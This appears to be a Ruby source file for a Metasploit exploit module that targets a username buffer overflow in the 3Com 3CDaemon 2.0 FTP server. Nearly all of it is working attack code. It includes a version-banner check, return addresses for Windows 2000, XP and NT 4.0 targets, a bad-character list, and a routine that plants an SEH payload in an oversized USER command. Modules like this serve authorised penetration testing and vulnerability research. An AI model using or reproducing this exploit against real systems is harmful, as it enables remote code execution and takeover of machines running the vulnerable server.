97 lines
2.1 KiB
Ruby
97 lines
2.1 KiB
Ruby
require 'msf/core'
|
|
|
|
module Msf
|
|
|
|
class Exploits::Windows::Ftp::ThreeCeeDaemonFTPUserOverflow < Msf::Exploit::Remote
|
|
|
|
include Exploit::Remote::Ftp
|
|
include Exploit::Remote::Seh
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => '3Com 3CDaemon 2.0 FTP Username Overflow',
|
|
'Description' => %q{
|
|
This module exploits a vulnerability in the 3Com 3CDaemon
|
|
FTP service. This package is being distributed from the 3Com
|
|
web site and is recommended in numerous support documents.
|
|
This module uses the USER command to trigger the overflow.
|
|
|
|
},
|
|
'Author' => [ 'hdm' ],
|
|
'Version' => '$Revision$',
|
|
'References' =>
|
|
[
|
|
[ 'OSVDB', '12810'],
|
|
[ 'OSVDB', '12811'],
|
|
[ 'BID', '12155'],
|
|
[ 'URL', 'ftp://ftp.3com.com/pub/utilbin/win32/3cdv2r10.zip'],
|
|
[ 'MIL', '1'],
|
|
|
|
],
|
|
'Privileged' => false,
|
|
'Payload' =>
|
|
{
|
|
'Space' => 674,
|
|
'BadChars' => "\x00~+&=%\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e\x09",
|
|
'StackAdjustment' => -3500,
|
|
'Compat' =>
|
|
{
|
|
'ConnectionType' => "-find"
|
|
}
|
|
|
|
},
|
|
'Targets' =>
|
|
[
|
|
[
|
|
'Windows 2000 English', # Tested OK - hdm 11/24/2005
|
|
{
|
|
'Platform' => 'win',
|
|
'Ret' => 0x75022ac4, # ws2help.dll
|
|
},
|
|
],
|
|
[
|
|
'Windows XP English SP0/SP1',
|
|
{
|
|
'Platform' => 'win',
|
|
'Ret' => 0x71aa32ad, # ws2help.dll
|
|
},
|
|
],
|
|
[
|
|
'Windows NT 4.0 SP4/SP5/SP6',
|
|
{
|
|
'Platform' => 'win',
|
|
'Ret' => 0x77681799, # ws2help.dll
|
|
},
|
|
],
|
|
],
|
|
'DisclosureDate' => 'Jan 4 2005'))
|
|
end
|
|
|
|
def check
|
|
connect
|
|
disconnect
|
|
if (banner =~ /3Com 3CDaemon FTP Server Version 2\.0/)
|
|
return Exploit::CheckCode::Vulnerable
|
|
end
|
|
return Exploit::CheckCode::Safe
|
|
end
|
|
|
|
def exploit
|
|
connect
|
|
|
|
print_status("Trying target #{target.name}...")
|
|
|
|
buf = Rex::Text.rand_text_english(2048, payload_badchars)
|
|
seh = generate_seh_payload(target.ret)
|
|
buf[229, seh.length] = seh
|
|
|
|
send_cmd( ['USER', buf] , false )
|
|
|
|
disconnect
|
|
handler
|
|
end
|
|
|
|
end
|
|
end
|
|
|